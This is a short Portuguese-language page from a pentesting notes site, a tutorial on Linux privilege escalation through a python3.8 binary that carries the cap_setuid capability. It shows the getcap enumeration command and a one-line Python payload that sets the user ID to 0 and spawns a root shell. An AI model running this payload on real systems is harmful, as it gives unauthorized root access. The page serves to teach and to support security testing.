> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/capabilities/python-capabilities/capabilities-python3.8-linux-privilege-escalation.md).

# Capabilities (Python3.8) - Escalonamento de Privilégios no Linux

## O que é

As capacidades do Linux dividem os privilégios de root em permissões granulares que podem ser atribuídas a binários. Capacidades perigosas como `cap_setuid+ep`, `cap_dac_read_search+ep`, ou capacidades de gravação de arquivos, podem contornar as restrições normais do usuário. Esta página específica se concentra em **Capacidades (Python3.8)** e mantém o fluxo de exploração prático: identifique a condição, valide-a com segurança e então execute o payload menor necessário para comprovar o impacto.

## Enumeração

Comece confirmando o contexto local e a configuração incorreta exata antes de executar o caminho de exploração.

```bash
getcap -r / 2>/dev/null
```

## Exemplos

## Capacidades de vulnerabilidade Python3.8

#### Filtragem **capacidades**:

Se filtrarmos pelas capacidades, o Python 3.8 aparece:

```bash
getcap -r / 2>/dev/null
```

<figure><img src="/files/500afdc6a32b16047b0d8461e2dd660cd427b9eb" alt="" width="554"><figcaption></figcaption></figure>

Usamos o [gtfobins](https://gtfobins.github.io/#+capabilities) site para ajuda.

```bash
python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
```

<figure><img src="/files/9a46998d7d022767117acf492e7f526f9500383e" alt=""><figcaption></figcaption></figure>


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